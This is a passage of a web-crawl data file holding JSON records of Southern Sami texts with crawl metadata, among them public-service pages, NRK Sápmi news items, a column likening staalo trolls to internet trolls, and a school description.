0.9999998807907104}","num_words":171,"character_repetition_ratio":0.069,"word_repetition_ratio":0.0,"special_characters_ratio":0.149,"stopwords_ratio":0.187,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"Patientemoenehtsen kanslijasse maahtah datne goh patiente jallh åelieh bïeljelieh mejnie datne mïelh:\nMaam mïelh hoksen bïjre?\nHoksesne edtjh datne maahtoem, såjhtoem, barkoes-laakan dïedtevaalteme jïh aaj sjiehteles gaavnesjimmiem dievviedidh. Datne edtjh aaj dah bïevnesh åadtjodh mah datne daarpesjh guktie dov såjhtoen, gïetediemmien jïh rehabiliteren bïjre soptsestalledh. Dïhte lea dov reakta goh patiente. Maanaj leah hævvi seamma reaktah dejtie goh geerve.\nHokse lea daesnie dutnjien\nVoestesiereste barkijinie soptsestallh\nJis dov lea gyhtjelassh jallh hoksine, gaavnesjimmiem jallh gïetedimmiem guermiestamme, voestesiereste dej barkijigujmie, giej lea dïedtem dov hoksem maam åadtjoejih, dejnie soptsestallh jallh goevtesen åejvine. Dej laavenjasse datnem viehkiehtieh. Dah sïjhtieh daejredh maam datne mïelh hijven jallh ij leah hijven. Muvhtene bööremes dallah barkejinie soptsestalledh.\nVielie viehkie Patientemoenehtsen kanslijistie\nJis ij gåaredh dåeriesmoeri noeledh dejgujmie giej hoksen dïedtem utnieh dellie maahtah Patientemoenehtsen kanslijasse bïeljelidh jis dov leah gyhtjelass, kritihke jallh vuajnoeh.\nGuktie sjædta gosse datne Patienemoenehtsen kanslijesem bïeljelh?\nGosse datne Patientemoenehtsen kanslijasse bïeljelh datne åadtjoeh goerehtæjjine soptsesth gie raeriem jïh bïevnesh vadta magkeres nuepieh\/reaktah mah gååvnesieh. Goerehtæjja ij guhkebe aamhtesem buekth jis ij datne dam sïjhth jïh tjura aaj sjaavods årrodh goh jeatjah healsoe- jïh skïemtjehoksebarkijh, jis datne sïjhth anonymeles årrodh. Namhtah lea Patientemoenehtsen kanslijinie soptseste.\nGoerehtæjjaj laavenjassh lea gaskem jeatjebem:\nPatientemoenehtsen kanslijen laavenjasse aaj dåarjoepersovnem moenede dïsse gie tjoeremehoksese sïjse vaalteme psykiatrisk tvångsvård lagen mietie (LPT), lag om rättspsykiatrisk vård (LRV) jïh tjoeremehokse smittskyddslagen mietie.\nJïjnjebh bïevnesh ovmessie bïevnesi bïjre, geahtjh Patientsäkerhet (sveerjen gïelesne).\nSidansvarig:Gun Råberg Kjellerstrand, tel: +4663147737, e-post: email@example.com.\nHittar du fel eller har synpunkter på innehållet, meddela\nSenast uppdaterad 2012-10-22.","id":"","dump":"CC-MAIN-2017-17","url":"http:\/\/regionjh.se\/omoss\/informationpaandrasprak\/aarjelsaemiesame\/patientemoenehtsenkanslijepatientnamndenskansli.4.60018e7312debfe732b80009797.html","date":"2017-05-01T00:30:00Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2017-17\/segments\/1492917126237.56\/warc\/CC-MAIN-20170423031206-00050-ip-10-145-167-34.ec2.internal.warc.gz","language":"sma","language_score":0.999972105,"language_script":"Latn","minhash_cluster_size":4,"top_langs":"{\"sma_Latn_score\": 0.9999721050262451}","num_words":248,"character_repetition_ratio":0.09,"word_repetition_ratio":0.0,"special_characters_ratio":0.15,"stopwords_ratio":0.097,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"Oppgave: Drøfte\nVaajese\nLohkh faage-sæjroem «Vaajese» jïh vaestedh laavenjasside.\n1.laavenjasse\nMij lea vaajese? Buerkesth dov jïjtjedh baakoejgujmie.\n2. laavenjasse\nGuktie vaajesen hammoe? Buerkesth vaajesen ovmessie boelhkh.\n3. laavenjasse\nGubpede dah vaajesh båetieh?\n4. laavenjasse\nNeebnh dah ovemessie vaajesh mah gåånesieh. Buerkesth dejtie dov jïjtjedh baakoejgujmie jïh gaavnh vuesiehtimmieh dejtie.","id":"","dump":"CC-MAIN-2017-22","url":"http:\/\/ndla.no\/nb\/node\/131119?fag=126960","date":"2017-05-24T10:22:37Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2017-22\/segments\/1495463607811.15\/warc\/CC-MAIN-20170524093528-20170524113528-00489.warc.gz","language":"sma","language_score":1.0000091791,"language_script":"Latn","minhash_cluster_size":1,"top_langs":"{\"sma_Latn_score\": 1.0000091791152954}","num_words":46,"character_repetition_ratio":0.121,"word_repetition_ratio":0.0,"special_characters_ratio":0.17,"stopwords_ratio":0.087,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"Förr i tiden kunde man möta stállu lite var stans i Sápmi. Idag tror vi kanske att de försvunnit från oss, men faktumet är att de bara bytt namn till nättroll och \"Sverige-vänner\", och att de nu bor på Internet istället för i någon skog. Turligt nog berättar de gamla sagorna för oss hur vi bekämpar stállu, och de tipsen håller än idag – med kunskap, mod och kärlek motar vi bort nättrollen. Vad som följer är en krönika på sydsamiska om just dessa troll. Texten finns sedan tidigare publicerad i tidningen Samefolket.\nDejpeeli staaloeh lin stoerre, ïskeres tråallh mah saemieh meehtieh sjuevnjeds skåajjine jah vaerine abpe Saepmesne råakedh. Mijjen aerpie-vuekien staaloevaajesi mietie, staaloeh lin veaksehks, räjhkoes jah lyjhkoejin bovtsh sualadidh jah saemien maanah byöpmedidh. Mov åemie tjidtjien vaajesinie, vïrre lij iktesth staaloej eeremes joptse.\nGosse manne lib govhte jaepien båeries, vienhtib hov staaloe mov fuelhkien ståapoen lïhke orriji. Gåessie stuerebe sjïdtib, die åemie tjidtjeme munnjien saarnoesti ahte satne lij duvrieb gåetien ålkoelistie vuajneme, mohte dillie goh månnoeh mov onn-åabpah limen onne, lyjhkimen skåejjesne stååkedidh, jah juvrh hohtjedh, så utni aelhkebe lij monnine staalojne beltedh.\nDaenbien manne lohkehtäjjine saemien maanajgujmie daennie Liksjosne barkoeminie. Fïerhten gaskevåhkoen libie Gammplatsen'sne gusnie mijjen saemien siebrien naan gåetieh. Lustes, jah dillie dellie manne dej aaj staaloevaajesigujmie belteb, gåessie ålkosne årroejibie. Gåessie derhvie-gåetesne årroejibie, akte onne baahtje dejstie lyjhkoe gujhth sov jïjtse staaloevaajese mijjese såårnedh. Iktesth seamma baakoejgujmie aalka, \"ikth manne staaloeb Bearkoevuemesne vööjnib. Saatnan lea, tjoerede munnjien vïenhtedh!\"\nJah sutnjien veanhtab hov. Manne leab aaj daaletjen staaloeh råakedamme daennie Saepmesne.\nNovh maa, daelie ibie tjoerh iktesth ålkose vaedtsedh jïs sïjhtebe staaloeh vuejnedh, maehtebe aaj staaloeh gaske-vïermesne gaavnedh. Jah, jis aarebi idtjin dah leah sïejhme, dle maahta tjuetieh staaloeh seamma gaskevïermie-bielesne gaavnedh! Mohte tjoerh gujht mujhtedh, eah dah jiehtieh ahte Staaloeh leah – \"mijjieh libie Sveerje-voelph\" jiehtieh hov.\nGaske-vïermesne eah leah dej daamtaj naan rïektes nommh, ååpsen daamtaj rasisme jah sexisme lägan dagkeres \"anonymous voice\", mohte tjoerh barre dah rïektes baakoeh tjaeledh gaske-vïermesne, v.g. \"ib sïjhth gruvide Saepmesne\", jallh \"tjoerh ammes guejmieh viehkiehtidh\" jah die dah mijjen båeries vaajesijstie mijjen daaletjen veasomasse varki båetieh.\nJaavoe, staaloeh ennje Saepmesne årroeh, mohte eah dah leah iktesth seamma-plïeres goh staaloeh mej bïjre mijjen eejhtegi vaajesisnie libie govleme. Eah daaletjen gaskevïermie-staaloeh byöpmedh saemien maanah, mohte lyjhkoeh gujhth nåekies soptsesh sjïere-laakan almetji bïjre tjaeledh. Dejpeeli staaloeh lin saemiej stoerremes gertelh, mohte daaletjen staaloeh aaj ammes guejmieh, queer-almetjh jah nyjsenäjjah mah leah garmeres aassjoestieh.\nGeerve lea gaske-vïermesne årrodh jïs ij sijhth daaletjen staaloeh råakedh, mohte dellie maaje mijjen leah bïevnesh mijjen båeries vaajesijstie mah leah ennje aevhkie mijjese. Staaloeh, jïs mijjen vaajesi skåajjine jallh dle gaske-vïermesne leah, eah leah dan soe jïermege. Dannasinie tjoerebe iktesth vijsies almetjh årrodh gåessie dejgujmie soptsestalledh. Daaletjen staaloeh leah aassjoen jah gåffoen maanah jah maehtebe barre dej gieries-voetine, gïrtelesvoetine jah jïjnjh maahtojne eatnemen bïjre gaemhpierdidh.","id":"","dump":"CC-MAIN-2017-26","url":"https:\/\/johansandbergmcguinne.wordpress.com\/2017\/03\/22\/daaletjen-staaloeh\/","date":"2017-06-24T08:34:44Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2017-26\/segments\/1498128320243.11\/warc\/CC-MAIN-20170624082900-20170624102900-00270.warc.gz","language":"sma","language_score":0.9999263287,"language_script":"Latn","minhash_cluster_size":5,"top_langs":"{\"sma_Latn_score\": 0.9999263286590576}","num_words":466,"character_repetition_ratio":0.054,"word_repetition_ratio":0.0,"special_characters_ratio":0.161,"stopwords_ratio":0.058,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"Dah joekehts åålmegemiehtjieh jïh eatnemereservaate gaskem\nÅålmegemiehtjie gorrede veeljemem sjïere sveerjen dajvijste mah ektesne elliesvoetem skaepiedieh laantesne. Dej eatnemh leah sjïere jïh stoerre aarvoeh utnieh jïh staate eatnemem eekie.\nDah edtjieh aaj eatnemen gellievoetem jearsoedidh jïh dejtie guesside nuepiem vadta eatnemem dååjredh jïh neavhtodh. Åålmegemiehtjesne lea eatnemem vaarjelamme jïh eah åadtjoeh dam eksploateradidh. Daate sæjhta jiehtedh mijjieh eatnemeaerpiem spåårede mijjese jïh båetije boelvide.\nÅålmegemiehtjien lissine gååvnesieh eatnemereservaate jïh biotopvaarjelimmiedajvh. Dejtie maehtieh tseegkedh guktie sjïere aarhtem jallh jieledebyjresem vaarjelidh. Eatnemereservaatem maahta aaj tseegkedh ajve jis sæjhta miehtjienjieleden tsiehkieh vaarjelidh. Daennie dajvevaarjelimmine maahta nænnoestimmieh jeatjahtehtedh jïh aaj jeatjahtehtemh sjïdtedh – daate ij deahpedh åålmegemiehtjesne.\nEatneme eatnemereservaatesne jïh biotopvaarjelimmiedajvesne maahta private almetjh eekedh jallh staate maahta eatnemem åestedh. Dïhte lea tjïelte jallh leeneståvroe mah eatnemereservaaten jallh biotopvaarjelimmiedajven bïjre nænnoestieh.\nÅålmegemiehtjie lea fïjnemes nomme maam eatnemedajve maahta åadtjodh. Dïhte lea reerenasse jïh rïjhkebiejjie mah tseegkemen bïjre nænnoestieh.\n- Åålmegemiehtjie lea nænnoesommes vaarjelimmie gaajhkh vaarjelimmiehammojste.\n- Åålmegemiehtjieh sjidtieh beagkoes jïh dellie stuerebe ïedtjh dejtie sjïdtedh – jïh baalhkah aaj – åålmegemiehtjien bïjre.\n- Åålmegemiehtjien stuerebe budsjehte barkijidie, sijjide gåabph meahtjan båetieh, baalhkide jïh bïevnesidie.\n- Staate eatnemem eekie åålmegemiehtjesne mij sæjhta jiehtedh eatneme stoerre vaarjelimmiem åtna.\n- Gellieh maehtieh eatnemereservaath lyjhkedh jïh desnie guessine årroeh, men eah åadtjoeh seamma staatuse jïh guessieh goh åålmegemiehtjie.\n- Tjïelte, aktegs eatnemeaajhtere jallh staate maehtieh eatnemereservaaten eatnemem eekedh.\n- Dejtie maahta tseegkedh guktie miehtjiejielemen, sjïere aarhten jallh jielemebyjresen tsiehkieh vaarjelidh.\n- Tjïelte jallh leeneståvroe eatnemereservaatem nænnoestieh.","id":"","dump":"CC-MAIN-2017-43","url":"http:\/\/www.valadalen-sylarna-helags.se\/skillnad-mellan-nationalpark-och-naturreservat-sam\/","date":"2017-10-19T05:16:32Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2017-43\/segments\/1508187823229.49\/warc\/CC-MAIN-20171019050401-20171019070401-00221.warc.gz","language":"sma","language_score":1.0000081062,"language_script":"Latn","minhash_cluster_size":14,"top_langs":"{\"sma_Latn_score\": 1.0000081062316895}","num_words":226,"character_repetition_ratio":0.11,"word_repetition_ratio":0.0,"special_characters_ratio":0.129,"stopwords_ratio":0.142,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"Maadthskuvle jïh jåarhkeskuvle\nMaadthlïerehtimmie lea maadthskuvle jïh jåarhkeskuvle. Lïerehtimmie maadthskuvledaltesisnie lea tjïelten dïedte, mearan fylhkentjïelte dïedtem åtna lïerehtimmien åvteste jåarhkedaltesisnie. Aaj jååhkesjamme privaate skuvlh maehtieh maadthlïerehtimmiem faalehtidh.\nFylhkenålman laavenjassh\nFylhkenålman lea dïedte ihke eksamene maadthskuvlesne jïh jåarhkeskuvlesne, nasjovnaale pryövenassh jïh obligatovreles elektrovneles goerehtallemepryövenassh dorjesuvvieh sïejhme laaki jïh bïhkedassi mietie.\nFylhkenålma fylhkentjïelten, tjïelten jïh privaate skuvleaajhteridie bïhkede ööhpehtimmielaaken jïh privaateskuvlelaaken mietie. Fylhkenålma edtja aaj vaaksjodh skuvleaajhterh skuvlem reerie sïejhme laaki jïh mieriedimmiej mietie.\nFylhkenålma klååkoeh gïetede aktegsnænnoestimmide nænnoestimmiej mietie ööhpehtimmielaakesne jïh privaateskuvlelaakesne, baalte mieriedimmiejgujmie. Jis sïjhth aktem aktegsnænnoestimmiem laejhtedh , edtjh dam voestegh seedtedh dan suarkan mij nænnoestimmiem dorjeme. Dastegh daate suerkie ij klååkoem mietieh, jallh ij aamhtesem hiejhth, edtja dam Fylhkenålmese seedtedh akten minngemosth gïetedæmman.","id":"","dump":"CC-MAIN-2017-43","url":"https:\/\/www.fylkesmannen.no\/sma\/Oslo-jih-Akershusen\/Maanagierte-jih-lierehtimmie\/Maadthskuvle-jih-jaarhkeskuvle\/","date":"2017-10-20T14:14:15Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2017-43\/segments\/1508187824225.41\/warc\/CC-MAIN-20171020135519-20171020155519-00053.warc.gz","language":"sma","language_score":1.000005126,"language_script":"Latn","minhash_cluster_size":14,"top_langs":"{\"sma_Latn_score\": 1.0000051259994507}","num_words":114,"character_repetition_ratio":0.091,"word_repetition_ratio":0.0,"special_characters_ratio":0.112,"stopwords_ratio":0.123,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"Soejkesje- jïh bïgkemereakta\nKlååkeme jïh aamhtesegïetedimmie bïgkemeaamhtesi jïh stuvrehtimmiesoejkesji sisnjeli. Tjïelth dïedtem utnieh arealesoejkesjimmien åvteste, jïh bïgkemeluhpieh vedtieh tjïelteraasti sisnjeli. Byjresedepartemeente lea bijjemes soejkesjefaamoe, mearan Tjïelten- jïh regijovnaledepartemeente lea bijjemes bïgkemefaamoe. Fylhkenålma lea klååkemesuerkie bïgkemeaamhtesinie jïh aamhtesinie mah leah stuvrehtimmiesoejkesji bïjre.\nBïgkemeaamhtesh jïh stuvrehtimmiesoejkesjh laejhtedh\nGoh klååkemesuerkie dle Fylhkenålma edtja hoksedh bïgkemepolitihkeles ulmieh laakine, mieriedimmine jïh arealesoejkesjinie bööremeslaakan gorresuvvieh. Men fylhkenålma edtja aaj leavloem bïejedh tjïelten jïjtjestuvremasse.\nGie maahta klååkedh?\nRåajvarimmieaajhtere, kraannah jïh mubpieh mah reaktoem utnieh klååkedh maehtieh tjïelten nænnoestimmiem laejhtedh bïgkeme- jïh stuvrehtimmieaamhtesinie. Edtja klååkoem tjïeltese seedtedh. Dastegh tjïelte ij sov nænnostimmiem jarkelh, dle tjïelte aamhtesem Fylhkenålmese seedtie, mij dam minngemosth sjæjsjalimmiem vaalta.\nAamhtesegïetedimmiebaelie\nFylhkenålma edtja aamhtesh prijoriteradidh gusnie akte klååkoe tjïrrehtimmiem siessestalla aktede nænnoestimmeste. Edtja dejtie aamhtesidie gïetedidh eannan 6 våhkoeh. Jeatjah gaavhtan Fylhkenålma edtja aamhtesidie prijoriteradidh vihkelesvoeten mietie dan aktegs almetjasse jïh siebriedahkese. Aamhtesegïetedimmiebaelie ij edtjh guhkebem årrodh goh 3 askh.","id":"","dump":"CC-MAIN-2017-43","url":"https:\/\/www.fylkesmannen.no\/sma\/Buskeruden\/Soejkesje-jih-bigkeme\/Soejkesje--jih-bigkemereakta\/","date":"2017-10-19T14:15:24Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2017-43\/segments\/1508187823309.55\/warc\/CC-MAIN-20171019141046-20171019161046-00128.warc.gz","language":"sma","language_score":1.0000075102,"language_script":"Latn","minhash_cluster_size":28,"top_langs":"{\"sma_Latn_score\": 1.0000075101852417}","num_words":143,"character_repetition_ratio":0.087,"word_repetition_ratio":0.0,"special_characters_ratio":0.116,"stopwords_ratio":0.14,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"Dihte lucia iehkede Snåasesne jeatjah-laakan daan jaepien sjædta. Dihte orre Gjerstad Stiftelse edtja luciakonsertem øørnedh. Desnie edtja dihte orre JS -orkestere musihkem spealadidh. Dihte åehpies lustes trøøndere kaarre, Pe-Torsa edtja desnie faepieldidh. Ellinor Jåma lea Gjerstad Stiftelsen åvtehke, dihte edtja håaletæjja årrodh.\n–Daate joekoen luste sjædta! Månnoeh Kine Kvalstad edtjebe almetjide daan luciaiehkeden lijrestidh. Gjerstad munnjan jeehti. Sijhtem tjaebpies musihkem goltelidh jih Pe-Torsan ektesne murriedidh, Jåma jeahta.\nJS-orkestere.\nGjerstad Stiftelese jijtjen orkesterem tseekeme. Joralf jih Signen orkestere. Kine Kvalstad daejtie musihke almetjidie daan orkesterese tjøønghkeme.\n– Joekoen hijvene musihke sjædta. Dejtie maam daan orkesterese tjøønghkeme leah fylhkesmusihkere, joekoen væjkeles. Gaajhk maam gihtjeme sijhtin dallegh meatan årrodh. Jijnjem musihkem edtjebe daelie darjodh jih aaj dah Joralfen jijtjen laavlomh edtjebe lïeredh. Åadtjede ånnetje daan konserteste lucia iehkeden govledh. Gijrese riejries sjidtebe. Daate barre aalkoe barkoe, håhkesjibie maehtebe daam orkesterem øøvtiedidh, Kvalstade jeahta.\nKinove filme Joralf Gjerstaden bijre.\nDihte filmedarjoje Margreth Olin edtja daan kinove filmen bijre buerkiestidh. Daate lea Gjerstaden jielemen bijre, guktie satne goh vuejnehtje, maahta almetjh viehkiehtidh jih jealadehtedh. Luciaiehkeden åadtjode daestie filmeste vuejnedh.\nBeetnegh Gjerstad Stiftelsen gåajka.\nBeetneh-vierhtieh daan lucia konserteste edtja daan Stiftelsenese maaksalgovvedh. Edtjieh, Signe gon Joralfen, gieries-voete, aarvoe jih almetjen vuajnoen mietie, øøvtiebasse buektedh.\n– Mijjien ulmie leah jih Joralfen maadth -hïejmem bueriedidh jih davvodh. Jih mænngan museumem rïhpestidh, Jåma jeahta.\nLucia konserte sjædta Snåasesne goeven 13.b.","id":"","dump":"CC-MAIN-2017-51","url":"https:\/\/www.nrk.no\/sapmi\/lucia-konserte-snaasesne-1.12038970","date":"2017-12-14T22:44:47Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2017-51\/segments\/1512948551162.54\/warc\/CC-MAIN-20171214222204-20171215002204-00389.warc.gz","language":"sma","language_score":0.9998319745,"language_script":"Latn","minhash_cluster_size":1,"top_langs":"{\"sma_Latn_score\": 0.9998319745063782}","num_words":219,"character_repetition_ratio":0.06,"word_repetition_ratio":0.0,"special_characters_ratio":0.159,"stopwords_ratio":0.059,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"Akte aamhtese dennie båatsoesaemien mïerhkevuekie seminaaresne mij lij Stiklestadesne daan våhkan orreme, leah guktie mïerhkide daan daata- basesne tjaaleme. Daejtie daata- mïerhkide gaavna båatsoe reeremen sæjrosne jallh gåessie edtjh mïerhkem jeatjah internedte sæjrosne ohtsedidh. Lars Aage Brandsfjell, Saanti sijteste tuhtjie nåake-laakan mierhkide guvviedamme jih tjaaleme.\n– Eah leah daejtie nejpie-giejide tjïelke-laakan tjaaleme. Ij mïerhkide damtijh gænnah. Guktie daelie tjoerem moenedidh magkeres nejpiegïejem tjaaleme.Nemhtie ij edtjh årrodh, Brandsfjelle jeahta.\nBuerebe daata programmh nuhtjedh.\nNejla Joma, Tjåehkeren sijteste, tuhtjie tjuerieh daam bueriedidh.\n– Dah mij leah daejnie barkeme, nåake barkoem dorjeme. Daelie maahta gaajhkem guvviedidh jih aaj daata programmh nuhtjedh mij maahta tjaeledh jih vuesiehtidh guktie dah mïerhkh edtjieh vååjnedh, Joma jeahta.\nBarkoe mïerhkemoenehtsidie.\nKlååkeme moenehtsen åvtehke Leif Anders Somby mij daejtie mïerhkeaamhtside gïetedalla, jeahta daate leah barkoe mïerhke moenehtside.\n– Daate lea barkoe mïerhkemoenehtside jih båatsoesaemide. Dellie edtjebe mijjieh Laanteburrie direktoratem eevtjedh jih mïerhkide daatabasesne staeriedidh, Somby jeahta.","id":"","dump":"CC-MAIN-2018-05","url":"https:\/\/www.nrk.no\/sapmi\/baatsoe-saemieh-daata-mierhkide-laejhtieh-1.12381795","date":"2018-01-17T04:03:47Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2018-05\/segments\/1516084886794.24\/warc\/CC-MAIN-20180117023532-20180117043532-00597.warc.gz","language":"sma","language_score":1.000002265,"language_script":"Latn","minhash_cluster_size":7,"top_langs":"{\"sma_Latn_score\": 1.0000022649765015}","num_words":144,"character_repetition_ratio":0.065,"word_repetition_ratio":0.0,"special_characters_ratio":0.146,"stopwords_ratio":0.083,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"Daate lea luhkie mubpien jaepien, Mihten jih Handølsdaelien sïjth daam saemien kultuvrefestivaalem öörnijægan. Gåessie aalkoevistie kultuvrefestivaalene eelkin dellie dïhte ulmie lij jih saemien kultuvrem jih båatsoe jielemen bïjre, stuaride jih jeatja daatjide buerkiestidh jih bievnedh, jih daate lea ennje vihkeles barkoe Lopme naestien åejvie, Kjerstin Valkeapää tuhtjie.\n– Daatjh jih båatsoesaemiej guhkiem tsïjreme jih maehtebe sahth man jïjnjem bïjre digkiedidh. Dellie vihkeles mijjieh båatsoesaemieh jïjtje bïevnedibie mijjien jielemen bïjre, Kjerstin Valkeapää jeahta.\nBåatsoesaemien perspektijveste\nDaan jaepien kultuvrefestivaale aalka njoktjen 17-19.3.b. Daan jaapetje aamhtese lea «Båatsoe saemien våajnoen mietie» edtjieh båatsoesaemien aarkebiejjien bïjre soptsestidh. Bo Lundmark, Lennart Pittja, Eivind Torp, Anja Fjellgren Walkeapää, Lars Aage Brandsfjell, Benny Jonsson, jih Sara Skum edjtieh ov-messie våajnoej mietie lohkehtidh, Herjedaelien vaerie museumesne, Bïenjedaelesne.\nVihkeles sjeltie sijjie sjïdteme\nDaate vihkeles sjeltie sijjie saemide aaj sjïdteme, diekie jïjnjh vytnesjæjjah, tjiehpiedæjjah abpe saepmeste tjåanghkenieh jih sijhtieh sijjien vætnoejde jih tjiehpiesvætnoejde doekedh. Murriedimmie jih lustestalleme sån aaj sjædta, bearjeds- iehkeden edtja Sara Ajnnak konseertem utnedh, Bïenjedaelien gærhkosne jih mænngan maahta njaelkies beapmoe stoerre låavth-gåetesne åestedh jih almetji gujmie lustestalledh.\n– Vaenie saemien sjeltie hïeljh åarjelsaepmesne jih dellie sjeahta jih gaskoeh Herjedaelesne gaavnedidh jih håhkesjem jïjnjesh diekie båetieh jih luste badth orreme jis dah saemieh aaj baalkam diekie gaavneme, Valkeapää orreje.","id":"","dump":"CC-MAIN-2018-05","url":"https:\/\/www.nrk.no\/sapmi\/baatsoesaemien-vajnoen-mietie-1.12856203","date":"2018-01-18T00:33:11Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2018-05\/segments\/1516084887024.1\/warc\/CC-MAIN-20180117232418-20180118012418-00741.warc.gz","language":"sma","language_score":0.9999668598,"language_script":"Latn","minhash_cluster_size":5,"top_langs":"{\"sma_Latn_score\": 0.9999668598175049}","num_words":200,"character_repetition_ratio":0.062,"word_repetition_ratio":0.0,"special_characters_ratio":0.146,"stopwords_ratio":0.16,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"Manne leam gellie aejkieh ussjedamme guktie bist toelhkine barkedh. Saemiedigkien tjåangkosne Karasjohkesne manne Vaino Perssonem råekeme, jih dïhte hov daajra guktie lea.\nBarkoes toelhkestidh\nManne gihtjem guktie lea toelhkestidh? Vaino soptseste dïhte hov barkoes, joekoen gosse lea baakoeh maam ij dallegh muejhtieh. Bene guktie dellie gosse edtja jarkoestidh jih baakoem ij saemiengïelesne gååvnesieh?\n– Dellie maahta hov nuhtjedh dom daaroen baakoem , Persson jeahta.\nDïhte aaj soptseste ånnetji geerve daaroengïeline. Vuesiehtimmien gaavhtan gosse naakene daaroengïele soptseste. Dle tjuara voestegh dom bijre ussjedidh, jih dle saemiengïelese jarkoestidh. Nøørjen jih Sveerjengïelesne ij lea gaajhkh baakoeh seamma.\nDaerpies øøhpehtimmine\nHärnösandesne toelhkeøøhpehtimmie gååvnese, jih Vaino lea dom øøhpehtimmiem vaalteme. Dïhte lea daerpies juktie maahta toelhkine barkedh.\nDaelie medtie njieljie jaepieh toelkine barkeme, mohte daate lea voestes jaepien dïhte Nøørjen saemedigkesne toelhkeste. Jeenjemes pråvhka saemiedigkesne Sveerjesne jih jeatjah tjåangkojinie barkedh.\nLuste feeledidh\nGosse manne gïhtjem mij lea lustemes toelhkebarkojne, dïhte onne ståantetjem funterde.\n– Luste almetjigujmie gaavnesjidh, jih feeledidh. Jih baalka, gosse dïhte båata, Vaino jeahta jih føørhkede.","id":"","dump":"CC-MAIN-2018-05","url":"https:\/\/www.nrk.no\/sapmi\/toelhkeburhtjen-sisnie-1.12081347","date":"2018-01-20T12:05:26Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2018-05\/segments\/1516084889567.48\/warc\/CC-MAIN-20180120102905-20180120122905-00757.warc.gz","language":"sma","language_score":1.0000061989,"language_script":"Latn","minhash_cluster_size":4,"top_langs":"{\"sma_Latn_score\": 1.0000061988830566}","num_words":160,"character_repetition_ratio":0.059,"word_repetition_ratio":0.0,"special_characters_ratio":0.157,"stopwords_ratio":0.113,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"Ole Vig-en bïjre\nOle Vig jåarhke skuvle (OVVS) lea goh stoerre, aktels skuvle naa orre. Dïhte lea Noerhte-Trøndelagen mubpie stööremes skuvle, man lea medtie 230 barkijh jïh medtie 1220 learohkh jïh lohkijh daen skuvlejaepien.\nGosse golme jåarhkeskuvlh jaepien 1997 ektiedamme lij vihkeles faktovre juktie orre skuvle galka goh aktine ektievoetine jåhta. Abpe skuvlekomplekse staaren jarngesne lea ektiedamme jïh skuvlen orre reeremegåetie, kantijne jïh auditorijue. Skuvlen goevtese Sutterøyesne, gusnie transportfaage, barkoemasjinjh jïh vuajijeööhpehtimmie, lea læjhkan joe dusnie juktie desnie sijjie.\nStuerebe bïgkemeprogramme lea nænnoestamme dej båetiej jaepiej, gusnie voestes boelhken mierien lea 130 millijovnh kråvnah. Dan sisnie orre gåetiem bigkedh auditorijen luvlelen. Desnie realfaagh, molsehth ööhpehtimmien sijjie jïh skuvlereeremen jïh kontovrebarkij orre kontovrh. Desnie aaj dajven baeniestarnedïenesje (3. laptesne). Bigkeme eelki ryöjrehtimmine goeven 2008 jïh lij riejries jaepiemålsomen 2009\/10. Jaepien 2009 kantijnem jïh restauranten jïh beapmoefaagen sijjiem bigkin. Jåerhke dïsse jaepeste 2010 jïh dellie sijjieh musihke jïh draama jïh service jïh samferdsel, mah maehtieh arealh åadtjodh gusnie realfaage jïh molsehth ööhpehtimmie orreme.\nOrre gaarsjelimmiegåetiem aalka tjaktjen 2010 bigkedh jïh galka riejries årrodh jaepien 2011 mietie. Skuvle galka tjïelten gåetiem åtna jïh skuvlese ektie tåarjine tjatna.\nSkuvlen nomme vihkeles. Ole Vig, Vikmaarkeste Stjørdaelesne, lij skuvle- jïh åålmehööhpehtsalma, jïh ööhpehtimmine gaajhkide barki. Dïhte Stjørdaelesne reakasovvi jaepien 1824. Ole Vig-en sijjesne Reeremegåetien lïhke statuem dan haemesne, gusnie seejjeme-alma, maahtojste.\nDaesnie Stjørdaelesne mijjen leah guhkies histovrijen tradisjovnh, jïh Stjørdaelie lea jienebh tåvsenh jaepiej faamoejarngem orreme Tråanten mearoegaedtesne. Ij jeatjah sijjie Nordenisnie maehtieh seamma jïjnjh heallatjaaleh vuesiehtidh bronseaejkeste. Dan gaavhtan aaj golme almetjh bronseaejkien heallatjaalijste Lerfaldesne Hegresne veeljeme goh skuvlen logojne.\nOle Vig jåarhkeskuvlen leah tjïelkes ambisjovnh buerie skuvle årrodh dovne learohkidie, barkijidie jïh abpe regiojovnese. Dejnie sov gelliebielenvoete skuvle vaajtele lïhkesvoete fïerhtide vadta jïh aaj sijjie joeketsidie jïh orre åssjalidie. Skuvlen visjovne \"skaepedidh jïh juekedh, sjïjledh jïh jieledh\" dam vaajtelimmiem vuesehte. OVVS skreejrehte learohkedemokratijese jïh jïjnjh jïh hijven internasjovnellen gaskesadtemh 